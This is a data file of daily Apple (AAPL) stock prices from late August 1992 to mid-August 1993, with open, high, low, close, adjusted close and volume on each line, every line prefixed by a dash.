-1992-08-31,1.6071428060531616,1.6517857313156128,1.5982142686843872,1.6428571939468384,1.3704701662063599,30279200.0,AAPL
-1992-09-01,1.6517857313156128,1.6607142686843872,1.6339285373687744,1.6607142686843872,1.3853662014007568,15072400.0,AAPL
-1992-09-02,1.6607142686843872,1.7410714626312256,1.6607142686843872,1.7321428060531616,1.4449518918991089,47474000.0,AAPL
-1992-09-03,1.75,1.7589285373687744,1.7053571939468384,1.7053571939468384,1.4226080179214478,52964800.0,AAPL
-1992-09-04,1.7232142686843872,1.7232142686843872,1.6696428060531616,1.6875,1.4077112674713135,15808800.0,AAPL
-1992-09-08,1.6696428060531616,1.7142857313156128,1.6607142686843872,1.7053571939468384,1.4226080179214478,17500000.0,AAPL
-1992-09-09,1.7142857313156128,1.7589285373687744,1.7053571939468384,1.75,1.4598488807678223,39300800.0,AAPL
-1992-09-10,1.7142857313156128,1.7678571939468384,1.6964285373687744,1.7589285373687744,1.4672963619232178,57044400.0,AAPL
-1992-09-11,1.75,1.7589285373687744,1.6964285373687744,1.7008928060531616,1.418883204460144,44970800.0,AAPL
-1992-09-14,1.75,1.7857142686843872,1.7321428060531616,1.7678571939468384,1.474745273590088,53670400.0,AAPL
-1992-09-15,1.7589285373687744,1.7589285373687744,1.7053571939468384,1.7232142686843872,1.4375041723251343,54630800.0,AAPL
-1992-09-16,1.7053571939468384,1.7232142686843872,1.6607142686843872,1.6785714626312256,1.4002629518508911,44679600.0,AAPL
-1992-09-17,1.6875,1.6875,1.6205357313156128,1.6428571939468384,1.3704701662063599,43108800.0,AAPL
-1992-09-18,1.6339285373687744,1.6741071939468384,1.6160714626312256,1.6607142686843872,1.3853662014007568,28901600.0,AAPL
-1992-09-21,1.6696428060531616,1.7053571939468384,1.6517857313156128,1.6607142686843872,1.3853662014007568,22419600.0,AAPL
-1992-09-22,1.6696428060531616,1.6696428060531616,1.6160714626312256,1.6339285373687744,1.3630223274230957,27885200.0,AAPL
-1992-09-23,1.6428571939468384,1.6964285373687744,1.625,1.6964285373687744,1.4151595830917358,30993200.0,AAPL
-1992-09-24,1.6875,1.7053571939468384,1.6517857313156128,1.6517857313156128,1.3779184818267822,31413200.0,AAPL
-1992-09-25,1.6517857313156128,1.6607142686843872,1.6160714626312256,1.625,1.3555740118026733,34367200.0,AAPL
-1992-09-28,1.6071428060531616,1.6071428060531616,1.5625,1.5982142686843872,1.333229660987854,37380000.0,AAPL
-1992-09-29,1.5892857313156128,1.625,1.5714285373687744,1.6026785373687744,1.3369532823562622,39317600.0,AAPL
-1992-09-30,1.6071428060531616,1.625,1.5892857313156128,1.6116071939468384,1.344401478767395,25012400.0,AAPL
-1992-10-01,1.5982142686843872,1.6116071939468384,1.5803571939468384,1.5803571939468384,1.3183326721191406,30682400.0,AAPL
-1992-10-02,1.5892857313156128,1.5982142686843872,1.5357142686843872,1.5625,1.303436517715454,28386400.0,AAPL
-1992-10-05,1.5446428060531616,1.5625,1.4821428060531616,1.5535714626312256,1.2959882020950317,66239600.0,AAPL
-1992-10-06,1.5625,1.6071428060531616,1.5267857313156128,1.5982142686843872,1.333229660987854,28361200.0,AAPL
-1992-10-07,1.6071428060531616,1.6160714626312256,1.5535714626312256,1.5625,1.303436517715454,28327600.0,AAPL
-1992-10-08,1.5714285373687744,1.5803571939468384,1.5357142686843872,1.5535714626312256,1.2959882020950317,31743600.0,AAPL
-1992-10-09,1.5535714626312256,1.5714285373687744,1.5357142686843872,1.5491071939468384,1.2922639846801758,14686000.0,AAPL
-1992-10-12,1.5446428060531616,1.5803571939468384,1.5446428060531616,1.5714285373687744,1.3108842372894287,17908800.0,AAPL
-1992-10-13,1.5982142686843872,1.6428571939468384,1.5714285373687744,1.6205357313156128,1.3518494367599487,36794800.0,AAPL
-1992-10-14,1.6160714626312256,1.6517857313156128,1.6071428060531616,1.6428571939468384,1.3704701662063599,23931600.0,AAPL
-1992-10-15,1.6339285373687744,1.6428571939468384,1.6160714626312256,1.625,1.3555740118026733,18855200.0,AAPL
-1992-10-16,1.6696428060531616,1.7678571939468384,1.6607142686843872,1.75,1.4598488807678223,112837200.0,AAPL
-1992-10-19,1.75,1.7589285373687744,1.7321428060531616,1.75,1.4598488807678223,49011200.0,AAPL
-1992-10-20,1.75,1.7857142686843872,1.7321428060531616,1.7544642686843872,1.4635734558105469,71811600.0,AAPL
-1992-10-21,1.7589285373687744,1.7678571939468384,1.7142857313156128,1.7321428060531616,1.4449518918991089,28562800.0,AAPL
-1992-10-22,1.7321428060531616,1.7589285373687744,1.7232142686843872,1.7410714626312256,1.4524005651474,21117600.0,AAPL
-1992-10-23,1.7589285373687744,1.7678571939468384,1.7232142686843872,1.7410714626312256,1.4524005651474,22856400.0,AAPL
-1992-10-26,1.7410714626312256,1.8392857313156128,1.7321428060531616,1.8392857313156128,1.5343307256698608,62672400.0,AAPL
-1992-10-27,1.8392857313156128,1.875,1.8214285373687744,1.8392857313156128,1.5343307256698608,52990000.0,AAPL
-1992-10-28,1.8303571939468384,1.8839285373687744,1.8125,1.8660714626312256,1.5566757917404175,49148400.0,AAPL
-1992-10-29,1.8660714626312256,1.9285714626312256,1.8392857313156128,1.9017857313156128,1.5864683389663696,53474400.0,AAPL
-1992-10-30,1.9107142686843872,1.9107142686843872,1.8571428060531616,1.875,1.5641236305236816,32457600.0,AAPL
-1992-11-02,1.875,1.8839285373687744,1.8482142686843872,1.8660714626312256,1.5566757917404175,42523600.0,AAPL
-1992-11-03,1.875,1.875,1.8392857313156128,1.8571428060531616,1.549227237701416,28187600.0,AAPL
-1992-11-04,1.8571428060531616,1.8839285373687744,1.8571428060531616,1.875,1.5641236305236816,35490000.0,AAPL
-1992-11-05,1.875,1.9642857313156128,1.875,1.9642857313156128,1.6386054754257202,74513600.0,AAPL
-1992-11-06,1.9553571939468384,2.017857074737549,1.9553571939468384,1.9910714626312256,1.6609505414962769,65993200.0,AAPL
-1992-11-09,2.0,2.0,1.9553571939468384,1.9732142686843872,1.6460540294647217,28232400.0,AAPL
-1992-11-10,1.9642857313156128,2.017857074737549,1.9553571939468384,2.0089285373687744,1.6758466958999634,30556400.0,AAPL
-1992-11-11,2.017857074737549,2.080357074737549,2.0089285373687744,2.0267856121063232,1.6907429695129395,35106400.0,AAPL
-1992-11-12,2.0357143878936768,2.0535714626312256,2.013392925262451,2.03125,1.6944676637649536,26899600.0,AAPL
-1992-11-13,2.0357143878936768,2.044642925262451,2.0,2.0089285373687744,1.6758466958999634,21187600.0,AAPL
-1992-11-16,2.0089285373687744,2.0625,2.0,2.049107074737549,1.7093632221221924,16886800.0,AAPL
-1992-11-17,2.044642925262451,2.0535714626312256,1.9598214626312256,1.9732142686843872,1.6460540294647217,42201600.0,AAPL
-1992-11-18,2.0,2.080357074737549,1.9821428060531616,2.0625,1.7205359935760498,76202000.0,AAPL
-1992-11-19,2.0625,2.125,2.0625,2.080357074737549,1.735432505607605,60135600.0,AAPL
-1992-11-20,2.0892856121063232,2.0982143878936768,2.0357143878936768,2.0535714626312256,1.713087558746338,38872400.0,AAPL
-1992-11-23,2.017857074737549,2.0357143878936768,2.0089285373687744,2.0267856121063232,1.6907429695129395,38180800.0,AAPL
-1992-11-24,2.0357143878936768,2.0535714626312256,2.017857074737549,2.0535714626312256,1.713087558746338,39205600.0,AAPL
-1992-11-25,2.0357143878936768,2.044642925262451,2.0,2.017857074737549,1.6832948923110962,29335600.0,AAPL
-1992-11-27,2.017857074737549,2.044642925262451,2.0089285373687744,2.017857074737549,1.6832948923110962,11799200.0,AAPL
-1992-11-30,2.0089285373687744,2.0535714626312256,1.9866071939468384,2.0535714626312256,1.7167373895645142,40126800.0,AAPL
-1992-12-01,2.044642925262451,2.107142925262451,2.0267856121063232,2.080357074737549,1.7391297817230225,32536000.0,AAPL
-1992-12-02,2.080357074737549,2.0892856121063232,2.0357143878936768,2.044642925262451,1.7092736959457397,24444000.0,AAPL
-1992-12-03,2.017857074737549,2.0580356121063232,2.0044643878936768,2.0535714626312256,1.7167373895645142,46897200.0,AAPL
-1992-12-04,2.044642925262451,2.0535714626312256,2.017857074737549,2.03125,1.69807767868042,23945600.0,AAPL
-1992-12-07,2.0267856121063232,2.0625,2.0267856121063232,2.0625,1.7242017984390259,36055600.0,AAPL
-1992-12-08,2.0625,2.0982143878936768,2.0625,2.075892925262451,1.7353978157043457,49159600.0,AAPL
-1992-12-09,2.0625,2.0714285373687744,2.044642925262451,2.0580356121063232,1.7204699516296387,39852400.0,AAPL
-1992-12-10,2.044642925262451,2.0580356121063232,2.017857074737549,2.044642925262451,1.7092736959457397,35047600.0,AAPL
-1992-12-11,2.044642925262451,2.080357074737549,2.044642925262451,2.0535714626312256,1.7167373895645142,30046800.0,AAPL
-1992-12-14,2.0535714626312256,2.0625,2.0267856121063232,2.044642925262451,1.7092736959457397,27627600.0,AAPL
-1992-12-15,2.0267856121063232,2.0357143878936768,1.9821428060531616,2.013392925262451,1.6831494569778442,45634400.0,AAPL
-1992-12-16,2.0089285373687744,2.0357143878936768,1.9464285373687744,1.9642857313156128,1.642096757888794,56481600.0,AAPL
-1992-12-17,1.9732142686843872,2.0535714626312256,1.9732142686843872,2.03125,1.69807767868042,58466800.0,AAPL
-1992-12-18,2.0535714626312256,2.1160714626312256,2.044642925262451,2.080357074737549,1.7391297817230225,58864400.0,AAPL
-1992-12-21,2.080357074737549,2.142857074737549,2.0714285373687744,2.1294643878936768,1.7801823616027832,64016400.0,AAPL
-1992-12-22,2.1339285373687744,2.1875,2.1339285373687744,2.1651785373687744,1.8100382089614868,70042000.0,AAPL
-1992-12-23,2.1517856121063232,2.1607143878936768,2.1160714626312256,2.1339285373687744,1.7839148044586182,28084000.0,AAPL
-1992-12-24,2.142857074737549,2.142857074737549,2.107142925262451,2.107142925262451,1.7615219354629517,11491200.0,AAPL
-1992-12-28,2.1160714626312256,2.1339285373687744,2.1160714626312256,2.125,1.776450514793396,17612000.0,AAPL
-1992-12-29,2.125,2.169642925262451,2.125,2.1294643878936768,1.7801823616027832,29069600.0,AAPL
-1992-12-30,2.1339285373687744,2.1339285373687744,2.0982143878936768,2.0982143878936768,1.7540580034255981,25146800.0,AAPL
-1992-12-31,2.0982143878936768,2.142857074737549,2.0982143878936768,2.1339285373687744,1.7839148044586182,23058000.0,AAPL
-1993-01-04,2.125,2.142857074737549,2.0625,2.080357074737549,1.7391297817230225,32284000.0,AAPL
-1993-01-05,2.0714285373687744,2.1160714626312256,2.044642925262451,2.1160714626312256,1.7689859867095947,46564000.0,AAPL
-1993-01-06,2.169642925262451,2.2142856121063232,2.1607143878936768,2.205357074737549,1.843626618385315,70350000.0,AAPL
-1993-01-07,2.205357074737549,2.232142925262451,2.1651785373687744,2.1785714626312256,1.8212343454360962,68034400.0,AAPL
-1993-01-08,2.169642925262451,2.25,2.1339285373687744,2.2232143878936768,1.8585550785064697,80234000.0,AAPL
-1993-01-11,2.2142856121063232,2.299107074737549,2.205357074737549,2.2901785373687744,1.914535403251648,68432000.0,AAPL
-1993-01-12,2.2410714626312256,2.2767856121063232,2.1964285373687744,2.1964285373687744,1.8361632823944092,86539600.0,AAPL
-1993-01-13,2.1964285373687744,2.2857143878936768,2.1875,2.267857074737549,1.8958748579025269,49910000.0,AAPL
-1993-01-14,2.2857143878936768,2.330357074737549,2.2767856121063232,2.3214285373687744,1.9406603574752808,91952000.0,AAPL
-1993-01-15,2.1785714626312256,2.2232143878936768,2.142857074737549,2.1517856121063232,1.7988425493240356,225657600.0,AAPL
-1993-01-18,2.125,2.142857074737549,2.0714285373687744,2.125,1.776450514793396,83409200.0,AAPL
-1993-01-19,2.1339285373687744,2.1607143878936768,2.1160714626312256,2.1339285373687744,1.7839148044586182,68510400.0,AAPL
-1993-01-20,2.1339285373687744,2.1517856121063232,2.125,2.142857074737549,1.7913786172866821,39684400.0,AAPL
-1993-01-21,2.1339285373687744,2.1517856121063232,2.0982143878936768,2.142857074737549,1.7913786172866821,46104800.0,AAPL
-1993-01-22,2.1517856121063232,2.1517856121063232,2.107142925262451,2.125,1.776450514793396,36736000.0,AAPL
-1993-01-25,2.1160714626312256,2.1607143878936768,2.1160714626312256,2.142857074737549,1.7913786172866821,50568000.0,AAPL
-1993-01-26,2.1607143878936768,2.2142856121063232,2.1607143878936768,2.169642925262451,1.8137706518173218,71405600.0,AAPL
-1993-01-27,2.1785714626312256,2.205357074737549,2.0982143878936768,2.1517856121063232,1.7988425493240356,56655200.0,AAPL
-1993-01-28,2.142857074737549,2.1517856121063232,2.1160714626312256,2.138392925262451,1.7876468896865845,46009600.0,AAPL
-1993-01-29,2.1517856121063232,2.1875,2.107142925262451,2.125,1.776450514793396,66525200.0,AAPL
-1993-02-01,2.1160714626312256,2.1875,2.1160714626312256,2.1875,1.8286992311477661,60138400.0,AAPL
-1993-02-02,2.169642925262451,2.1964285373687744,2.1517856121063232,2.1517856121063232,1.7988425493240356,45584000.0,AAPL
-1993-02-03,2.1785714626312256,2.1785714626312256,2.0892856121063232,2.142857074737549,1.7913786172866821,66046400.0,AAPL
-1993-02-04,2.142857074737549,2.1517856121063232,2.107142925262451,2.125,1.776450514793396,52038000.0,AAPL
-1993-02-05,2.1160714626312256,2.125,2.0089285373687744,2.044642925262451,1.7092736959457397,91904400.0,AAPL
-1993-02-08,2.0357143878936768,2.0535714626312256,1.9821428060531616,2.017857074737549,1.686881184577942,70268800.0,AAPL
-1993-02-09,2.0357143878936768,2.049107074737549,2.017857074737549,2.03125,1.69807767868042,59665200.0,AAPL
-1993-02-10,2.0357143878936768,2.044642925262451,1.9642857313156128,1.9910714626312256,1.6644892692565918,67071200.0,AAPL
-1993-02-11,1.9910714626312256,2.0089285373687744,1.9642857313156128,1.96875,1.6458290815353394,42067200.0,AAPL
-1993-02-12,1.9642857313156128,1.9821428060531616,1.9196428060531616,1.9241071939468384,1.6120210886001587,68849200.0,AAPL
-1993-02-16,1.9107142686843872,1.9107142686843872,1.8392857313156128,1.8928571939468384,1.5858396291732788,101934000.0,AAPL
-1993-02-17,1.9017857313156128,1.9285714626312256,1.8571428060531616,1.9241071939468384,1.6120210886001587,62395200.0,AAPL
-1993-02-18,1.9642857313156128,1.9732142686843872,1.9107142686843872,1.9642857313156128,1.645682692527771,70030800.0,AAPL
-1993-02-19,1.9732142686843872,1.9821428060531616,1.9553571939468384,1.9642857313156128,1.645682692527771,44450000.0,AAPL
-1993-02-22,1.9642857313156128,2.0,1.9553571939468384,1.96875,1.6494231224060059,24690400.0,AAPL
-1993-02-23,1.9642857313156128,1.9732142686843872,1.9285714626312256,1.9375,1.6232420206069946,48518400.0,AAPL
-1993-02-24,1.8616071939468384,1.9241071939468384,1.8616071939468384,1.9151785373687744,1.6045407056808472,71640800.0,AAPL
-1993-02-25,1.9017857313156128,1.9553571939468384,1.9017857313156128,1.9553571939468384,1.6382025480270386,41806800.0,AAPL
-1993-02-26,1.9375,1.9375,1.8660714626312256,1.8928571939468384,1.5858396291732788,73721200.0,AAPL
-1993-03-01,1.8928571939468384,1.9107142686843872,1.8839285373687744,1.9017857313156128,1.5933201313018799,29825600.0,AAPL
-1993-03-02,1.8928571939468384,1.9464285373687744,1.8928571939468384,1.9375,1.6232420206069946,36923600.0,AAPL
-1993-03-03,1.9285714626312256,1.9642857313156128,1.9017857313156128,1.9508928060531616,1.6344621181488037,50674400.0,AAPL
-1993-03-04,1.9464285373687744,1.9732142686843872,1.9107142686843872,1.9642857313156128,1.645682692527771,47084800.0,AAPL
-1993-03-05,1.9553571939468384,1.9910714626312256,1.9553571939468384,1.9642857313156128,1.645682692527771,27904800.0,AAPL
-1993-03-08,1.9642857313156128,2.0267856121063232,1.9642857313156128,2.017857074737549,1.6905652284622192,44251200.0,AAPL
-1993-03-09,2.017857074737549,2.0535714626312256,2.017857074737549,2.0267856121063232,1.6980453729629517,38707200.0,AAPL
-1993-03-10,2.0267856121063232,2.044642925262451,2.0,2.0267856121063232,1.6980453729629517,33124000.0,AAPL
-1993-03-11,2.0357143878936768,2.044642925262451,2.0089285373687744,2.03125,1.7017858028411865,36153600.0,AAPL
-1993-03-12,2.0267856121063232,2.0267856121063232,1.9821428060531616,2.0089285373687744,1.6830849647521973,31673600.0,AAPL
-1993-03-15,2.0,2.044642925262451,1.9776785373687744,2.0357143878936768,1.7055261135101318,34008800.0,AAPL
-1993-03-16,2.044642925262451,2.0625,2.017857074737549,2.017857074737549,1.6905652284622192,25320400.0,AAPL
-1993-03-17,2.017857074737549,2.0357143878936768,1.9642857313156128,1.96875,1.6494231224060059,44055200.0,AAPL
-1993-03-18,1.9642857313156128,1.9866071939468384,1.9464285373687744,1.9464285373687744,1.6307220458984375,26546800.0,AAPL
-1993-03-19,1.9642857313156128,1.9732142686843872,1.9107142686843872,1.9196428060531616,1.6082810163497925,38525200.0,AAPL
-1993-03-22,1.9107142686843872,1.9241071939468384,1.8839285373687744,1.9017857313156128,1.5933201313018799,41300000.0,AAPL
-1993-03-23,1.9017857313156128,1.9285714626312256,1.8794642686843872,1.8839285373687744,1.578359603881836,25634000.0,AAPL
-1993-03-24,1.8839285373687744,1.9375,1.875,1.9196428060531616,1.6082810163497925,35767200.0,AAPL
-1993-03-25,1.9196428060531616,1.9553571939468384,1.9107142686843872,1.9553571939468384,1.6382025480270386,42761600.0,AAPL
-1993-03-26,1.9553571939468384,1.9553571939468384,1.875,1.9017857313156128,1.5933201313018799,37940000.0,AAPL
-1993-03-29,1.8660714626312256,1.875,1.8125,1.8214285373687744,1.5259968042373657,65427600.0,AAPL
-1993-03-30,1.8258928060531616,1.8660714626312256,1.7946428060531616,1.8660714626312256,1.5633989572525024,66012800.0,AAPL
-1993-03-31,1.875,1.8839285373687744,1.8303571939468384,1.8392857313156128,1.5409574508666992,55759200.0,AAPL
-1993-04-01,1.8303571939468384,1.8571428060531616,1.8214285373687744,1.8482142686843872,1.5484378337860107,27050800.0,AAPL
-1993-04-02,1.8035714626312256,1.8303571939468384,1.7678571939468384,1.7901785373687744,1.4998153448104858,63448000.0,AAPL
-1993-04-05,1.7857142686843872,1.8035714626312256,1.7678571939468384,1.7857142686843872,1.4960755109786987,37293200.0,AAPL
-1993-04-06,1.7857142686843872,1.7946428060531616,1.7410714626312256,1.7410714626312256,1.4586734771728516,42092400.0,AAPL
-1993-04-07,1.75,1.8125,1.7321428060531616,1.8035714626312256,1.5110361576080322,40712000.0,AAPL
-1993-04-08,1.7857142686843872,1.8035714626312256,1.75,1.7767857313156128,1.488594651222229,40857600.0,AAPL
-1993-04-12,1.7678571939468384,1.8214285373687744,1.7678571939468384,1.7857142686843872,1.4960755109786987,23262400.0,AAPL
-1993-04-13,1.8035714626312256,1.8303571939468384,1.7232142686843872,1.7321428060531616,1.4511926174163818,41120800.0,AAPL
-1993-04-14,1.7232142686843872,1.7410714626312256,1.7008928060531616,1.7410714626312256,1.4586734771728516,42515200.0,AAPL
-1993-04-15,1.7232142686843872,1.7232142686843872,1.6696428060531616,1.6875,1.4137911796569824,54675600.0,AAPL
-1993-04-16,1.7232142686843872,1.7410714626312256,1.6919642686843872,1.71875,1.4399727582931519,171698800.0,AAPL
-1993-04-19,1.7321428060531616,1.7678571939468384,1.7232142686843872,1.7321428060531616,1.4511926174163818,56966000.0,AAPL
-1993-04-20,1.7410714626312256,1.7946428060531616,1.7232142686843872,1.7857142686843872,1.4960755109786987,60012400.0,AAPL
-1993-04-21,1.7946428060531616,1.8125,1.7589285373687744,1.7723214626312256,1.484855055809021,51318400.0,AAPL
-1993-04-22,1.7589285373687744,1.8035714626312256,1.75,1.7857142686843872,1.4960755109786987,39418400.0,AAPL
-1993-04-23,1.7767857313156128,1.7946428060531616,1.7410714626312256,1.7589285373687744,1.473633885383606,33535600.0,AAPL
-1993-04-26,1.7589285373687744,1.7767857313156128,1.7321428060531616,1.75,1.4661540985107422,25701200.0,AAPL
-1993-04-27,1.7410714626312256,1.7946428060531616,1.7410714626312256,1.7946428060531616,1.5035558938980103,32418400.0,AAPL
-1993-04-28,1.7767857313156128,1.8571428060531616,1.7767857313156128,1.8348214626312256,1.5372177362442017,40810000.0,AAPL
-1993-04-29,1.8392857313156128,1.8482142686843872,1.7901785373687744,1.8125,1.5185164213180542,20610800.0,AAPL
-1993-04-30,1.8125,1.875,1.8125,1.8303571939468384,1.5334773063659668,33084800.0,AAPL
-1993-05-03,1.8303571939468384,1.8571428060531616,1.8214285373687744,1.8526785373687744,1.5521777868270874,16296000.0,AAPL
-1993-05-04,1.8660714626312256,1.9375,1.8571428060531616,1.90625,1.5970606803894043,42705600.0,AAPL
-1993-05-05,1.8928571939468384,1.9821428060531616,1.8928571939468384,1.9464285373687744,1.6307220458984375,63266000.0,AAPL
-1993-05-06,1.9464285373687744,1.9553571939468384,1.9107142686843872,1.9196428060531616,1.6082810163497925,17614800.0,AAPL
-1993-05-07,1.9107142686843872,1.9553571939468384,1.9107142686843872,1.9553571939468384,1.6382025480270386,20473600.0,AAPL
-1993-05-10,1.9642857313156128,1.9955357313156128,1.9642857313156128,1.9642857313156128,1.645682692527771,34482000.0,AAPL
-1993-05-11,1.9642857313156128,1.9732142686843872,1.9285714626312256,1.9464285373687744,1.6307220458984375,39594800.0,AAPL
-1993-05-12,1.9375,1.9553571939468384,1.8928571939468384,1.9017857313156128,1.5933201313018799,26306000.0,AAPL
-1993-05-13,1.9107142686843872,1.9910714626312256,1.9107142686843872,1.9821428060531616,1.6606438159942627,90431600.0,AAPL
-1993-05-14,1.9732142686843872,2.0,1.9642857313156128,1.9821428060531616,1.6606438159942627,29352400.0,AAPL
-1993-05-17,1.9821428060531616,2.0,1.9642857313156128,1.9910714626312256,1.6681241989135742,17410400.0,AAPL
-1993-05-18,1.9821428060531616,2.0089285373687744,1.9642857313156128,1.9821428060531616,1.6606438159942627,40868800.0,AAPL
-1993-05-19,1.9553571939468384,2.0535714626312256,1.9464285373687744,2.044642925262451,1.7130062580108643,43192800.0,AAPL
-1993-05-20,2.044642925262451,2.107142925262451,2.044642925262451,2.0982143878936768,1.757888674736023,72632000.0,AAPL
-1993-05-21,2.0982143878936768,2.111607074737549,2.0267856121063232,2.0535714626312256,1.7204865217208862,37049600.0,AAPL
-1993-05-24,2.0267856121063232,2.0982143878936768,2.0267856121063232,2.0580356121063232,1.7242271900177002,37578800.0,AAPL
-1993-05-25,2.0267856121063232,2.0535714626312256,1.9910714626312256,2.013392925262451,1.6868250370025635,45180800.0,AAPL
-1993-05-26,2.0,2.0625,1.9776785373687744,2.0625,1.7279669046401978,30391200.0,AAPL
-1993-05-27,2.0625,2.0892856121063232,2.044642925262451,2.0535714626312256,1.7204865217208862,49322000.0,AAPL
-1993-05-28,2.0357143878936768,2.0535714626312256,2.0089285373687744,2.0223214626312256,1.697852611541748,45987200.0,AAPL
-1993-06-01,2.017857074737549,2.0625,2.017857074737549,2.0357143878936768,1.7090966701507568,33768000.0,AAPL
-1993-06-02,2.0267856121063232,2.080357074737549,2.0,2.0357143878936768,1.7090966701507568,50120000.0,AAPL
-1993-06-03,2.0357143878936768,2.044642925262451,2.0,2.013392925262451,1.6903561353683472,39214000.0,AAPL
-1993-06-04,1.9910714626312256,2.0089285373687744,1.9464285373687744,1.9598214626312256,1.645379900932312,53421200.0,AAPL
-1993-06-07,1.9464285373687744,1.9553571939468384,1.7991071939468384,1.8125,1.5216952562332153,120576400.0,AAPL
-1993-06-08,1.7410714626312256,1.7857142686843872,1.7142857313156128,1.7678571939468384,1.4842153787612915,155274000.0,AAPL
-1993-06-09,1.6071428060531616,1.6294642686843872,1.5714285373687744,1.5803571939468384,1.3267983198165894,294604800.0,AAPL
-1993-06-10,1.5535714626312256,1.5982142686843872,1.5267857313156128,1.5892857313156128,1.3342944383621216,138426400.0,AAPL
-1993-06-11,1.6071428060531616,1.6160714626312256,1.5491071939468384,1.5625,1.311806082725525,60580800.0,AAPL
-1993-06-14,1.5714285373687744,1.5982142686843872,1.5535714626312256,1.59375,1.3380424976348877,62372800.0,AAPL
-1993-06-15,1.6160714626312256,1.6160714626312256,1.4955357313156128,1.5,1.2593339681625366,112081200.0,AAPL
-1993-06-16,1.5089285373687744,1.5446428060531616,1.4821428060531616,1.5089285373687744,1.2668299674987793,88270000.0,AAPL
-1993-06-17,1.5178571939468384,1.5178571939468384,1.4464285373687744,1.4732142686843872,1.2368462085723877,102359600.0,AAPL
-1993-06-18,1.4866071939468384,1.5044642686843872,1.4196428060531616,1.4642857313156128,1.2293498516082764,77823200.0,AAPL
-1993-06-21,1.4464285373687744,1.4464285373687744,1.4107142686843872,1.4151785373687744,1.1881219148635864,68395600.0,AAPL
-1993-06-22,1.4598214626312256,1.5,1.4196428060531616,1.4776785373687744,1.2405946254730225,84095200.0,AAPL
-1993-06-23,1.4910714626312256,1.4910714626312256,1.4285714626312256,1.4464285373687744,1.2143579721450806,45180800.0,AAPL
-1993-06-24,1.4464285373687744,1.4910714626312256,1.4285714626312256,1.4910714626312256,1.251837968826294,55708800.0,AAPL
-1993-06-25,1.4419642686843872,1.4553571939468384,1.4107142686843872,1.4285714626312256,1.1993660926818848,64290800.0,AAPL
-1993-06-28,1.4464285373687744,1.4464285373687744,1.3839285373687744,1.4330357313156128,1.2031142711639404,88404400.0,AAPL
-1993-06-29,1.4375,1.4375,1.375,1.3928571939468384,1.1693814992904663,73567200.0,AAPL
-1993-06-30,1.3839285373687744,1.4196428060531616,1.375,1.4107142686843872,1.1843736171722412,50064000.0,AAPL
-1993-07-01,1.3928571939468384,1.4196428060531616,1.3571428060531616,1.3571428060531616,1.1393975019454956,54541200.0,AAPL
-1993-07-02,1.3660714626312256,1.3839285373687744,1.3482142686843872,1.375,1.1543896198272705,47908000.0,AAPL
-1993-07-06,1.3660714626312256,1.3928571939468384,1.3392857313156128,1.3482142686843872,1.131901502609253,38813600.0,AAPL
-1993-07-07,1.3392857313156128,1.3526785373687744,1.2946428060531616,1.3035714626312256,1.0944212675094604,56758800.0,AAPL
-1993-07-08,1.3035714626312256,1.3392857313156128,1.2946428060531616,1.3035714626312256,1.0944212675094604,34742400.0,AAPL
-1993-07-09,1.3214285373687744,1.3303571939468384,1.3035714626312256,1.3125,1.1019172668457031,39219600.0,AAPL
-1993-07-12,1.3125,1.3616071939468384,1.2946428060531616,1.3571428060531616,1.1393975019454956,43470000.0,AAPL
-1993-07-13,1.3839285373687744,1.3839285373687744,1.3214285373687744,1.3303571939468384,1.116909384727478,39527600.0,AAPL
-1993-07-14,1.3125,1.3392857313156128,1.2767857313156128,1.3303571939468384,1.116909384727478,61574800.0,AAPL
-1993-07-15,1.3303571939468384,1.3482142686843872,1.2589285373687744,1.2767857313156128,1.071933388710022,84509600.0,AAPL
-1993-07-16,1.0178571939468384,1.0580357313156128,0.9464285969734192,0.9821428656578064,0.8245638608932495,530149200.0,AAPL
-1993-07-19,1.0,1.0267857313156128,0.9107142686843872,0.9151785969734192,0.7683436870574951,201558000.0,AAPL
-1993-07-20,0.9375,0.9910714030265808,0.9196428656578064,0.9598214030265808,0.8058238625526428,132977600.0,AAPL
-1993-07-21,0.9285714030265808,0.9553571343421936,0.9107142686843872,0.9375,0.7870837450027466,113976800.0,AAPL
-1993-07-22,0.9285714030265808,0.9642857313156128,0.9196428656578064,0.9464285969734192,0.7945798635482788,52794000.0,AAPL
-1993-07-23,0.9642857313156128,0.9821428656578064,0.9285714030265808,0.9375,0.7870837450027466,58444400.0,AAPL
-1993-07-26,0.9553571343421936,0.9821428656578064,0.9285714030265808,0.9598214030265808,0.8058238625526428,38206000.0,AAPL
-1993-07-27,0.9553571343421936,0.9821428656578064,0.9375,0.9464285969734192,0.7945798635482788,49652400.0,AAPL
-1993-07-28,0.9375,0.9642857313156128,0.9375,0.9598214030265808,0.8058238625526428,22948800.0,AAPL
-1993-07-29,0.9642857313156128,0.9821428656578064,0.9553571343421936,0.9732142686843872,0.8170678615570068,30343600.0,AAPL
-1993-07-30,0.9821428656578064,1.0089285373687744,0.9642857313156128,0.9910714030265808,0.8320600390434265,53611600.0,AAPL
-1993-08-02,1.0089285373687744,1.0446428060531616,1.0,1.0178571939468384,0.8545483350753784,54076400.0,AAPL
-1993-08-03,1.0357142686843872,1.0446428060531616,1.0267857313156128,1.0357142686843872,0.8695402145385742,44119600.0,AAPL
-1993-08-04,1.0446428060531616,1.0892857313156128,1.0357142686843872,1.0803571939468384,0.9070203900337219,60748800.0,AAPL
-1993-08-05,1.0982142686843872,1.0982142686843872,1.0357142686843872,1.0535714626312256,0.8845322728157043,52343200.0,AAPL
-1993-08-06,1.0446428060531616,1.0803571939468384,1.0446428060531616,1.0446428060531616,0.8770361542701721,31480400.0,AAPL
-1993-08-09,1.0446428060531616,1.0803571939468384,1.0357142686843872,1.0625,0.8920283317565918,40353600.0,AAPL
-1993-08-10,1.0535714626312256,1.0625,1.0089285373687744,1.0178571939468384,0.8545483350753784,38194800.0,AAPL
-1993-08-11,1.0178571939468384,1.0178571939468384,0.9642857313156128,0.9821428656578064,0.8245638608932495,41742400.0,AAPL
-1993-08-12,0.9821428656578064,0.9910714030265808,0.9285714030265808,0.9464285969734192,0.7945798635482788,84543200.0,AAPL
-1993-08-13,0.9464285969734192,0.9910714030265808,0.9375,0.9776785969734192,0.820815920829773,34703200.0,AAPL
-1993-08-16,0.9821428656578064,1.0,0.9732142686843872,0.9821428656578064,0.8281981945037842,25611600.0,AAPL
-1993-08-17,0.9910714030265808,1.0178571939468384,0.9732142686843872,1.0133928060531616,0.8545497059822083,27045200.0,AAPL
-1993-08-18,1.0357142686843872,1.0625,1.0089285373687744,1.0178571939468384,0.8583144545555115,47180000.0,AAPL
-1993-08-19,1.0267857313156128,1.0267857313156128,0.9821428656578064,0.9821428656578064,0.8281981945037842,38032400.0,AAPL
